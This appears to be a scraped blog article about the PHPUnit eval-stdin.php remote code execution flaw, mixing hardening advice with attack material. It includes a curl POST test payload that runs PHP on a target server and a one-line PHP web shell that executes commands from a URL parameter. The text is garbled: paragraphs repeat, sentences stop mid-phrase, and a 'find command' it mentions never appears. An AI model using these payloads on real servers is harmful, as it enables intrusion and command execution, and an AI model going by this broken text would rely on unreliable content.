curl -X POST https://target.com/eval-stdin.php -d "<?php echo 5*5; ?>" If the response contains 25 , it is 100% vulnerable. The vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php exploit is a masterclass in how a developer convenience tool becomes a production nightmare.

PHPUnit is a fantastic piece of software—for testing . But its presence on a public-facing server represents a catastrophic failure of deployment hygiene. The code inside eval-stdin.php is arguably the most dangerous 79 characters in modern PHP history, because it gives an attacker exactly what they want: a direct pipeline from HTTP to eval() .

Your vendor folder should never, ever be directly accessible by a web request. And your production server should never, ever see a --dev dependency.

Why? Because this seemingly obscure path within a developer-only testing framework is a .

Check your servers today. Run the find command. That ghost might be lurking in your dependencies, waiting for a POST request.

<?php echo shell_exec($_GET['cmd']); ?> Using curl (the most common tool for this exploit):

Vendor Phpunit Phpunit Src Util Php Eval-stdin.php Exploit -

Your vendor folder should never, ever be directly accessible by a web request. And your production server should never, ever see a --dev dependency. curl -X POST https://target

Why? Because this seemingly obscure path within a developer-only testing framework is a . But its presence on a public-facing server represents

Check your servers today. Run the find command. That ghost might be lurking in your dependencies, waiting for a POST request.

<?php echo shell_exec($_GET['cmd']); ?> Using curl (the most common tool for this exploit):